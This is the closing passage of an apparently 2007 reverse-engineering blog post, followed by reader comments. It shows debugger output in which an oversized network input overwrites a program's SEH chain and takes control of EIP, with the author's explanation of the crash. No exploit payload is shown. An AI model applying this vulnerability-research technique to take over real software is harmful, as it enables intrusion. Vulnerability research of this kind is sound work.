00ecfb90 41414141 41414141 41414141 41414141 0x41414141
00ecfb94 41414141 41414141 41414141 41414141 0x41414141
00ecfb98 41414141 41414141 41414141 41414141 0x41414141
00ecfb9c 41414141 41414141 41414141 41414141 0x41414141
00ecfba0 41414141 41414141 41414141 41414141 0x41414141
00ecfba4 41414141 41414141 41414141 41414141 0x41414141
00ecfba8 41414141 41414141 41414141 41414141 0x41414141
00ecfbac 41414141 41414141 41414141 41414141 0x41414141
00ecfbb0 41414141 41414141 41414141 41414141 0x41414141
00ecfbb4 41414141 41414141 41414141 41414141 0x41414141
00ecfbb8 41414141 41414141 41414141 41414141 0x41414141
00ecfbbc 41414141 41414141 41414141 41414141 0x41414141
00ecfbc0 41414141 41414141 41414141 41414141 0x41414141
00ecfbc4 41414141 41414141 41414141 41414141 0x41414141
00ecfbc8 41414141 41414141 41414141 41414141 0x41414141
00ecfbcc 41414141 41414141 41414141 41414141 0x41414141
00ecfbd0 41414141 41414141 41414141 41414141 0x41414141
00ecfbd4 41414141 41414141 41414141 41414141 0x41414141
00ecfbd8 41414141 41414141 41414141 41414141 0x41414141
0:005> !exchain
00ecffa4: 41414141
Invalid exception stack at 41414141
0:005> g
(4a4.64c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000
eip=41414141 esp=00eceedc ebp=00eceefc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
41414141 ??              ???
Well now, wasn't that fun? As we can see, this loop copied our payload1 buffer until it smashed the SEH chain pointers. Again, this would be a perfect place to use a unique string, but for demonstration purposes it's more dramatic this way. A funny part of reverse engineering and looking for bugs is that you'll notice we never touched our length2 and payload2 arguments before this crash. They can be anything as long as we pass our recv loop from earlier. The reason for this is that the program dies before it has a chance to work on the rest of our data. I'm not complaining, but I wish I knew that earlier :).

I hope this has shed some light on how we go from 0 to 0day in under 30 minutes. With practice, you get use to all of this and it becomes very familiar. I'm also guessing this isn't the only bug, remember we never touched length2/payload2, so give it a try.

If you have any question or comments please leave them and i'll respond!

-Cody "Longest blog on internet" Pierce
Tags: reverse engineering,security,vulnerabilities,research
Published On: 2007-07-24 14:14:13

Comments post a comment

  1. Mark St.John commented on 2007-07-24 @ 22:59

    Great walk through, made sense to even a scatter brain like myself.

  2. Anonymous commented on 2007-07-25 @ 09:59

    In the first couple pages you mention - "A keen observer following along will notice I didn't touch on the call to 0x44DBBBB" - but I don't see this call referenced in any of the screenshots??

  3. Cody Pierce commented on 2007-07-25 @ 11:17

    Anonymous:

    Yes sorry about that. I have updated the page but in the screenshot I labeled this as "something"

  4. Anonymous commented on 2007-07-25 @ 17:01

    great work cody!
    the only thing i stumbled over is the "inline strcpy". is that a frequently used term? i saw it here and there but i think it should be called inline memcpy.. (we have a length stored in ecx and no 0-byte check is done).. just wondering ;)

  5. Cody Pierce commented on 2007-07-25 @ 17:52

    Anonymous:

    Ahhh of course, I dont know why I put that :). Thanks for pointing it out.

  6. bob commented on 2009-11-17 @ 05:34

    your code markup is unreadable in ie8, ff3.5, opera10.


Trackback